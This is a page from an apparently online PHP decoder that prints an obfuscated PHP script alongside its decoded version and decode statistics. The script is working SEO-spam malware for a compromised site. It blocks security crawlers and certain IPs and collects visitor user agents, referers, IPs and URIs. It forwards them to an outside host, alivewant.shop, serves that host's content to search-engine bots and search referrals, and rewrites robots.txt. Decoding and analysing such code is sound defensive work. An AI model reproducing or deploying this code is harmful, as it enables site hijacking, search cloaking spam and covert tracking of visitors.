Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ErROr_REPOrting((int)RoUND(0+0));function _pwoxxobg(){if(GeTeNv("H\124TP\x5f\x43\114..
Decoded Output download
<?php ErROr_REPOrting((int)RoUND(0+0));function _pwoxxobg(){if(GeTeNv("HTTP_CLIENT_IP")){$_kdruy=GETEnV("HTTP_CLIENT_IP");}if(getenv("HTTP_X_REAL_IP")){$_kdruy=getENv("HTTP_X_REAL_IP");}elseif(GETENV("HTTP_X_FORWARDED_FOR")){$_kdruy=GeTEnv("HTTP_X_FORWARDED_FOR");$_tvtvt=EXploDe(",",$_kdruy);$_kdruy=$_tvtvt[(0531- -021+01341+-01307)-(int)RoUnD(-109.66666666667+-109.66666666667+-109.66666666667)-(int)rOUnd(179.25+179.25+179.25+179.25)];}elseif(gETeNv("REMOTE_ADDR")){$_kdruy=GETeNV("REMOTE_ADDR");}else{$_kdruy="0.0.0.0";}return$_kdruy;}function _pdysdhi($_kllnnf){$_yefnj=@FiLe_get_coNTeNtS($_kllnnf);if(empty($_yefnj)){$_aqxcdfph=curL_iNIt();cURL_SETOPT($_aqxcdfph,(int)RoUNd(2395.5+2395.5+2395.5+2395.5)+(023636-023637-023634+047461)-(023206+023231+-023460)-(int)ROuND(0.5+0.5),$_kllnnf);CURL_seTOPt($_aqxcdfph,(int)ROUnd(9956.5+9956.5),true);CuRL_sETOPt($_aqxcdfph,(int)rounD(17.333333333333+17.333333333333+17.333333333333),false);if(strpOs($_kllnnf,"https://")!==false){CURL_SEtOPT($_aqxcdfph,(int)RouNd(21.333333333333+21.333333333333+21.333333333333),false);CurL_sEtoPT($_aqxcdfph,(int)rOund(27+27+27),false);}$_yefnj=cUrl_exEc($_aqxcdfph);cURl_CLosE($_aqxcdfph);}return$_yefnj;}if(pReG_mATcH("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i",$_SERVER["HTTP_USER_AGENT"])){HeAdeR("HTTP/1.0 403 Forbidden");exit();}$_wzpmclb="bing|google|yahoo";$_lfqgbg="http://cw359.alivewant.shop/index.php";$_jnpffta="A1cJAwb";$_dgdxsy=uRleNCoDE($_SERVER["HTTP_USER_AGENT"]);$_ngsp=URlENCode($_SERVER["HTTP_REFERER"]);$_bnhbdcu=urleNCodE($_SERVER["HTTP_ACCEPT_LANGUAGE"]);$_eocx=_pwoxxobg();$_kdruy=URlENCoDE($_eocx);$_pcuavzjh=URlEnCOde($_SERVER["HTTP_HOST"]);$_ryiajp=UrLENcODe($_SERVER["SCRIPT_NAME"]);if((!empty($_SERVER["REQUEST_SCHEME"])&&$_SERVER["REQUEST_SCHEME"]=="https")||(!empty($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]=="on")||(!empty($_SERVER["SERVER_PORT"])&&$_SERVER["SERVER_PORT"]=="443")||(isset($_SERVER["HTTP_X_FORWARDED_PROTO"])&&$_SERVER["HTTP_X_FORWARDED_PROTO"]=="https")){$_SERVER["REQUEST_SCHEME"]="https";}else{$_SERVER["REQUEST_SCHEME"]="http";}$_btgzqbqb=UrLenCode($_SERVER["REQUEST_SCHEME"]);$_uegb=urleNCode($_SERVER["REQUEST_URI"]);if(STRpOS($_uegb,"uuuuxxxxooo")!==false){echo"ok";exit();}if($_eocx=="153.246.135.238"||$_eocx=="219.101.44.233"){HeaDEr("HTTP/1.0 403 Forbidden");exit();}$_wizmsxjd=(int)RoUnD(0+0+0+0);if(!FiLE_eXiSts("uxo.txt")){$_xhysb=$_btgzqbqb."://".$_SERVER["HTTP_HOST"]."/uuuuxxxxooo";$_osncm=_pdysdhi($_xhysb);if($_osncm=="ok"){$_wizmsxjd=(int)roUNd(0.25+0.25+0.25+0.25);@FILe_PUt_coNteNts("uxo.txt","1");}else{$_wizmsxjd=(int)rOUnd(0+0+0+0);@FiLE_pUT_coNTEnTS("uxo.txt","0");}}else{$_wizmsxjd=@FILE_gEt_coNtEnTs("uxo.txt");}if(sTrpos($_uegb,"pingsitemap.xml")!==false){$_glsgugph=$_SERVER["SCRIPT_NAME"];if(STRpos($_glsgugph,"index.php")!==false){if($_wizmsxjd==(int)ROunD(0+0)){$_glsgugph="/?";}else{$_glsgugph="/";}}else{$_glsgugph=$_glsgugph."?";}$_eayhaeag="User-agent: *
Allow: /";$_ouaro=$_btgzqbqb."://".$_pcuavzjh.$_glsgugph."sitemap.xml";$_eayhaeag=trIm($_eayhaeag)."
"."Sitemap: ".$_ouaro;$_zbhtx="";echo$_ouaro.": ".$_zbhtx."<br/>";$_lacjn=$_lfqgbg."?agent=".$_dgdxsy."&refer=".$_ngsp."&lang=".$_bnhbdcu."&ip=".$_kdruy."&dom=".$_pcuavzjh."&http=".$_btgzqbqb."&uri=".$_uegb."&pc=".$_jnpffta."&rewriteable=".$_wizmsxjd."&script=".$_ryiajp."&sitemap=".UrlEnCOde($_ouaro);$_osncm=_pdysdhi($_lacjn);@fILe_puT_CONtENts("robots.txt",$_eayhaeag);exit();}else if(strpOs($_uegb,"favicon.ico")!==false){}else if(STRPos($_uegb,"jp2023")!==false){$_lacjn=$_lfqgbg."?agent=".$_dgdxsy."&refer=".$_ngsp."&lang=".$_bnhbdcu."&ip=".$_kdruy."&dom=".$_pcuavzjh."&http=".$_btgzqbqb."&uri=".$_uegb."&pc=".$_jnpffta."&rewriteable=".$_wizmsxjd."&script=".$_ryiajp;$_osncm=_pdysdhi($_lacjn);echo$_osncm;exit();return;}else if(sTrpoS($_uegb,"robots.txt")!==false||stRPoS($_uegb,"writerobots")!==false){$_lacjn=$_lfqgbg."?agent=".$_dgdxsy."&refer=".$_ngsp."&lang=".$_bnhbdcu."&ip=".$_kdruy."&dom=".$_pcuavzjh."&http=".$_btgzqbqb."&uri=".$_uegb."&pc=".$_jnpffta."&rewriteable=".$_wizmsxjd."&script=".$_ryiajp;HeaDer("Content-Type: text/plain; charset=utf-8");echo$_osncm=_pdysdhi($_lacjn);@File_Put_conTENts("robots.txt",$_osncm);exit();}else if(PReG_MAtCh("@^/(.*?).xml$@i",$_SERVER["REQUEST_URI"])){$_lacjn=$_lfqgbg."?agent=".$_dgdxsy."&refer=".$_ngsp."&lang=".$_bnhbdcu."&ip=".$_kdruy."&dom=".$_pcuavzjh."&http=".$_btgzqbqb."&uri=".$_uegb."&pc=".$_jnpffta."&rewriteable=".$_wizmsxjd."&script=".$_ryiajp;$_osncm=_pdysdhi($_lacjn);if($_osncm=="500"){HEADer("HTTP/1.0 500 Internal Server Error");exit();}else{HeAder("Content-Type: text/xml; charset=utf-8");echo$_osncm;exit();return;}}else if(PreG_MAtcH("/(".$_wzpmclb.")/i",$_SERVER["HTTP_USER_AGENT"])){$_lacjn=$_lfqgbg."?agent=".$_dgdxsy."&refer=".$_ngsp."&lang=".$_bnhbdcu."&ip=".$_kdruy."&dom=".$_pcuavzjh."&http=".$_btgzqbqb."&uri=".$_uegb."&pc=".$_jnpffta."&rewriteable=".$_wizmsxjd."&script=".$_ryiajp;$_osncm=_pdysdhi($_lacjn);if(!empty($_osncm)){if($_osncm=="500"){header("HTTP/1.0 500 Internal Server Error");exit();}if(subStr($_osncm,(int)rOund(0+0+0+0),(-0275-0601+0613+0207)+(-0315- -0276)-(-0214+0114))=="<?xml"){hEaDeR("Content-Type: text/xml; charset=utf-8");}else{heADER("Content-Type: text/html; charset=utf-8");}echo$_osncm;exit();return;}}else if(PrEg_MaTCH("/(".$_wzpmclb.")/i",$_SERVER["HTTP_REFERER"])){$_lacjn=$_lfqgbg."?agent=".$_dgdxsy."&refer=".$_ngsp."&lang=".$_bnhbdcu."&ip=".$_kdruy."&dom=".$_pcuavzjh."&http=".$_btgzqbqb."&uri=".$_uegb."&pc=".$_jnpffta."&rewriteable=".$_wizmsxjd;$_osncm=_pdysdhi($_lacjn);if($_osncm=="500"){hEADEr("HTTP/1.0 500 Internal Server Error");exit();}else if(!empty($_osncm)){hEAdeR("HTTP/1.1 404 Not Found");echo$_osncm;exit();return;}}else{};?>Did this file decode correctly?
Original Code
<?php ErROr_REPOrting((int)RoUND(0+0));function _pwoxxobg(){if(GeTeNv("H\124TP\x5f\x43\114I\x45N\x54\137IP")){$_kdruy=GETEnV("\x48TTP_\x43\114IE\116\124_\111P");}if(getenv("\x48T\x54P_\x58\x5fREA\114_\111\120")){$_kdruy=getENv("H\x54T\120_X_\122\x45AL_I\x50");}elseif(GETENV("HTT\x50_X_\x46\x4f\122\x57ARDE\x44\137\x46OR")){$_kdruy=GeTEnv("H\x54T\x50_X_\x46\x4fRW\x41RDE\x44\x5f\106O\122");$_tvtvt=EXploDe(",",$_kdruy);$_kdruy=$_tvtvt[(0531- -021+01341+-01307)-(int)RoUnD(-109.66666666667+-109.66666666667+-109.66666666667)-(int)rOUnd(179.25+179.25+179.25+179.25)];}elseif(gETeNv("\122EMO\x54\x45\137A\104DR")){$_kdruy=GETeNV("RE\x4d\117TE\137A\x44\x44\x52");}else{$_kdruy="0\x2e0\x2e\x30.\x30";}return$_kdruy;}function _pdysdhi($_kllnnf){$_yefnj=@FiLe_get_coNTeNtS($_kllnnf);if(empty($_yefnj)){$_aqxcdfph=curL_iNIt();cURL_SETOPT($_aqxcdfph,(int)RoUNd(2395.5+2395.5+2395.5+2395.5)+(023636-023637-023634+047461)-(023206+023231+-023460)-(int)ROuND(0.5+0.5),$_kllnnf);CURL_seTOPt($_aqxcdfph,(int)ROUnd(9956.5+9956.5),true);CuRL_sETOPt($_aqxcdfph,(int)rounD(17.333333333333+17.333333333333+17.333333333333),false);if(strpOs($_kllnnf,"\x68ttp\163://")!==false){CURL_SEtOPT($_aqxcdfph,(int)RouNd(21.333333333333+21.333333333333+21.333333333333),false);CurL_sEtoPT($_aqxcdfph,(int)rOund(27+27+27),false);}$_yefnj=cUrl_exEc($_aqxcdfph);cURl_CLosE($_aqxcdfph);}return$_yefnj;}if(pReG_mATcH("/(By\164e\163p\x69der|Pe\x74alB\157\x74|A\x68\x72efsB\x6f\164\x7cBar\153\162owler\x7cMJ1\x32b\x6ft|FeedDem\157n|JikeSpide\x72\174I\156d\x79 Li\142rary\x7cAs\153TbF\130\124V|\103r\x61w\154Daddy\174Co\157l\x70\x61\144W\x65bk\x69\164\x7c\112av\x61|\x46eedly\174\x55\156i\166er\x73\141lFee\144Pa\162s\145r\174Ap\x61cheB\x65\x6ec\x68|S\x77iftbot|\x5a\155E\x75|o\102o\x74|\152\x61un\164\x79|P\171\x74ho\156-url\x6c\x69b\174py\x74ho\156-req\165\145\x73\164\163|lig\x68\164\104e\143\153Re\x70orts\x20Bot|Y\x59Spi\144\145r|\x44\x69\x67Ext\174\131i\163o\x75S\x70ide\162\x7cH\164\x74pC\154i\x65nt|her\151\164r\x69\170\174E\x61s\x6fuS\160\151der\174\105zo\x6fm\x73|\101mazonB\x6f\164\x7cS\105\x4dru\163\150\102ot|\x59\x61\156de\x78Bot|\160a\154\157\141l\164on\x65\x74\x77or\153s\x7cP\171th\x6fn\051\x2fi",$_SERVER["H\x54\x54\x50\137\x55SER_A\107EN\x54"])){HeAdeR("\x48\x54\x54P/\x31\x2e\x30\040403 F\x6frbidde\156");exit();}$_wzpmclb="b\151n\147\174goo\147le\x7cyaho\157";$_lfqgbg="http\x3a//\143\x773\x359.alivew\x61nt.\163\150\x6f\x70\x2f\x69\x6ed\x65x.p\x68p";$_jnpffta="A\x31\143J\x41w\x62";$_dgdxsy=uRleNCoDE($_SERVER["\x48\124TP\x5f\125S\x45R\x5fAG\x45N\124"]);$_ngsp=URlENCode($_SERVER["\110\124T\x50\137RE\x46ERER"]);$_bnhbdcu=urleNCodE($_SERVER["\110TTP\x5fACCEPT_L\101\116G\125AG\105"]);$_eocx=_pwoxxobg();$_kdruy=URlENCoDE($_eocx);$_pcuavzjh=URlEnCOde($_SERVER["HTT\120_HOS\124"]);$_ryiajp=UrLENcODe($_SERVER["SCR\x49\x50T_NAM\x45"]);if((!empty($_SERVER["RE\x51U\x45ST\137S\x43\x48E\x4dE"])&&$_SERVER["REQUEST\x5f\123C\x48E\x4dE"]=="http\163")||(!empty($_SERVER["\110TTPS"])&&$_SERVER["\x48T\x54PS"]=="\x6f\156")||(!empty($_SERVER["S\x45RVE\x52_P\117\122\124"])&&$_SERVER["SERV\x45R_P\117RT"]=="443")||(isset($_SERVER["HTTP_X\x5f\106OR\x57\101RD\105\x44_\120\122\117T\117"])&&$_SERVER["HT\124P\x5f\x58_F\x4fR\127\x41R\x44ED_\120RO\124O"]=="\x68tt\x70\x73")){$_SERVER["R\105\121\125ES\x54\x5fSCHEME"]="http\x73";}else{$_SERVER["REQ\125\105ST\x5f\123\103HE\x4dE"]="\150\164tp";}$_btgzqbqb=UrLenCode($_SERVER["RE\121\x55\105S\x54_\x53C\110EME"]);$_uegb=urleNCode($_SERVER["REQ\125E\123T_\x55RI"]);if(STRpOS($_uegb,"uu\165u\x78xx\x78\x6f\157\x6f")!==false){echo"\x6f\153";exit();}if($_eocx=="153\x2e\x3246.\06135.23\070"||$_eocx=="2\x319.10\061.\0644\056\062\x333"){HeaDEr("\x48\x54T\120/1.0\04040\x33\x20F\157rbi\x64\x64en");exit();}$_wizmsxjd=(int)RoUnD(0+0+0+0);if(!FiLE_eXiSts("\165\x78\x6f\x2e\x74\170\x74")){$_xhysb=$_btgzqbqb.":\x2f/".$_SERVER["\110TTP\137\110\117\123\x54"]."\x2fuu\x75u\x78\170x\x78o\x6fo";$_osncm=_pdysdhi($_xhysb);if($_osncm=="o\153"){$_wizmsxjd=(int)roUNd(0.25+0.25+0.25+0.25);@FILe_PUt_coNteNts("u\x78o\056\x74xt","\x31");}else{$_wizmsxjd=(int)rOUnd(0+0+0+0);@FiLE_pUT_coNTEnTS("uxo.t\170t","0");}}else{$_wizmsxjd=@FILE_gEt_coNtEnTs("ux\x6f.t\x78\x74");}if(sTrpos($_uegb,"ping\x73\151temap.\x78\155l")!==false){$_glsgugph=$_SERVER["SC\x52IP\124_\116AME"];if(STRpos($_glsgugph,"\x69\x6edex\056php")!==false){if($_wizmsxjd==(int)ROunD(0+0)){$_glsgugph="/\077";}else{$_glsgugph="/";}}else{$_glsgugph=$_glsgugph."\x3f";}$_eayhaeag="User\055\141\147\x65\x6e\x74\x3a\040\x2a\015\012Allo\x77: /";$_ouaro=$_btgzqbqb."\072/\x2f".$_pcuavzjh.$_glsgugph."si\x74e\x6dap.\170m\x6c";$_eayhaeag=trIm($_eayhaeag)."\015\012"."S\151te\x6dap:\x20".$_ouaro;$_zbhtx="";echo$_ouaro.": ".$_zbhtx."\x3cbr\057>";$_lacjn=$_lfqgbg."?age\x6et=".$_dgdxsy."&r\x65fer=".$_ngsp."\046\x6c\141ng\x3d".$_bnhbdcu."\046ip\075".$_kdruy."&\144o\155\x3d".$_pcuavzjh."&\x68\164tp=".$_btgzqbqb."\046ur\x69\075".$_uegb."\x26p\x63\075".$_jnpffta."\046rew\x72\x69\x74\x65abl\x65\x3d".$_wizmsxjd."&s\143\x72i\160t=".$_ryiajp."&\163\x69te\x6d\x61\160=".UrlEnCOde($_ouaro);$_osncm=_pdysdhi($_lacjn);@fILe_puT_CONtENts("r\x6fbo\164s.\x74x\x74",$_eayhaeag);exit();}else if(strpOs($_uegb,"f\x61vi\x63o\x6e.\x69\x63o")!==false){}else if(STRPos($_uegb,"\152\x70\06202\063")!==false){$_lacjn=$_lfqgbg."\x3f\141gen\164=".$_dgdxsy."&\162efe\x72\075".$_ngsp."\x26lang\075".$_bnhbdcu."&ip=".$_kdruy."\x26\144o\155=".$_pcuavzjh."&ht\164p=".$_btgzqbqb."&ur\151=".$_uegb."&pc=".$_jnpffta."\x26\x72\x65writ\x65ab\x6ce\x3d".$_wizmsxjd."\x26s\x63\162i\160\x74=".$_ryiajp;$_osncm=_pdysdhi($_lacjn);echo$_osncm;exit();return;}else if(sTrpoS($_uegb,"rob\x6f\x74s\x2e\164\x78\x74")!==false||stRPoS($_uegb,"wri\x74ero\x62ots")!==false){$_lacjn=$_lfqgbg."?\141ge\x6et=".$_dgdxsy."&\162\x65fer\x3d".$_ngsp."&lan\x67=".$_bnhbdcu."&\x69p\x3d".$_kdruy."&do\x6d=".$_pcuavzjh."&\150t\x74p=".$_btgzqbqb."\x26u\x72i\075".$_uegb."\x26\160\x63\x3d".$_jnpffta."\x26rewritea\x62\154\145=".$_wizmsxjd."\046s\143r\x69pt=".$_ryiajp;HeaDer("\103o\x6e\x74e\x6et-Typ\x65\072\040tex\164\x2fpl\141i\156;\x20\143h\x61\x72se\164=\x75\x74f\0558");echo$_osncm=_pdysdhi($_lacjn);@File_Put_conTENts("rob\x6f\164\x73\056txt",$_osncm);exit();}else if(PReG_MAtCh("@^/(.*?\051.xm\154\044\100i",$_SERVER["REQU\x45\123T\137U\122I"])){$_lacjn=$_lfqgbg."\x3f\x61g\x65\x6e\164=".$_dgdxsy."\046r\145fer=".$_ngsp."&l\x61n\x67=".$_bnhbdcu."&\151p\075".$_kdruy."\046\144om\x3d".$_pcuavzjh."&http=".$_btgzqbqb."&\x75ri=".$_uegb."&\160\143=".$_jnpffta."&rew\x72\x69t\x65\x61\142\x6c\145\075".$_wizmsxjd."\046s\x63\x72\151p\x74=".$_ryiajp;$_osncm=_pdysdhi($_lacjn);if($_osncm=="\0650\060"){HEADer("HTTP/1.0\x2050\060 \x49n\164erna\x6c\040Ser\166\145r \105rr\x6fr");exit();}else{HeAder("Cont\145nt-Typ\x65: tex\x74\057xm\154\x3b c\150a\x72set=\x75\164\x66\0558");echo$_osncm;exit();return;}}else if(PreG_MAtcH("/\x28".$_wzpmclb.")/i",$_SERVER["\110TT\x50_US\x45R\137AGEN\x54"])){$_lacjn=$_lfqgbg."?a\x67ent\x3d".$_dgdxsy."\x26refer\x3d".$_ngsp."\046lan\x67\075".$_bnhbdcu."&ip\075".$_kdruy."\046do\x6d=".$_pcuavzjh."\x26http\x3d".$_btgzqbqb."&ur\x69=".$_uegb."\x26\160\x63=".$_jnpffta."&\162ew\x72iteab\154e=".$_wizmsxjd."&\163cript=".$_ryiajp;$_osncm=_pdysdhi($_lacjn);if(!empty($_osncm)){if($_osncm=="\x3500"){header("HT\124P/1.0\04050\x30\x20I\156\164\145\x72n\x61l S\x65rv\145\x72 E\162\x72or");exit();}if(subStr($_osncm,(int)rOund(0+0+0+0),(-0275-0601+0613+0207)+(-0315- -0276)-(-0214+0114))=="<?x\155l"){hEaDeR("Cont\145nt-\124y\160e: te\170t\x2fxm\154\x3b\x20\x63\150a\162s\145t\075\x75\164f\x2d8");}else{heADER("Conte\x6et\055\124\171pe: text/html;\040c\x68\141rse\x74=\165tf\x2d\x38");}echo$_osncm;exit();return;}}else if(PrEg_MaTCH("/(".$_wzpmclb."\051\x2fi",$_SERVER["H\124\124P\137\122\105\x46ERE\x52"])){$_lacjn=$_lfqgbg."?\x61\x67e\156t=".$_dgdxsy."&\x72efer=".$_ngsp."&\x6c\141n\x67=".$_bnhbdcu."\046i\160=".$_kdruy."&\x64\x6f\x6d=".$_pcuavzjh."&\x68\x74t\160=".$_btgzqbqb."&\x75ri=".$_uegb."&\160c=".$_jnpffta."&r\x65\x77r\151tea\x62\x6ce\075".$_wizmsxjd;$_osncm=_pdysdhi($_lacjn);if($_osncm=="\x350\060"){hEADEr("\110T\124P/\x31.\060 \x350\x30 \111\156te\x72\x6e\141\x6c Se\x72v\145r\x20E\162\x72or");exit();}else if(!empty($_osncm)){hEAdeR("H\x54\124P/\061.1 40\x34 N\x6f\x74\040F\157\165n\x64");echo$_osncm;exit();return;}}else{};?>Function Calls
| RoUND | 1 |
Stats
| MD5 | 4bd13bcf911f21799eb020633c558303 |
| Eval Count | 0 |
| Decode Time | 132 ms |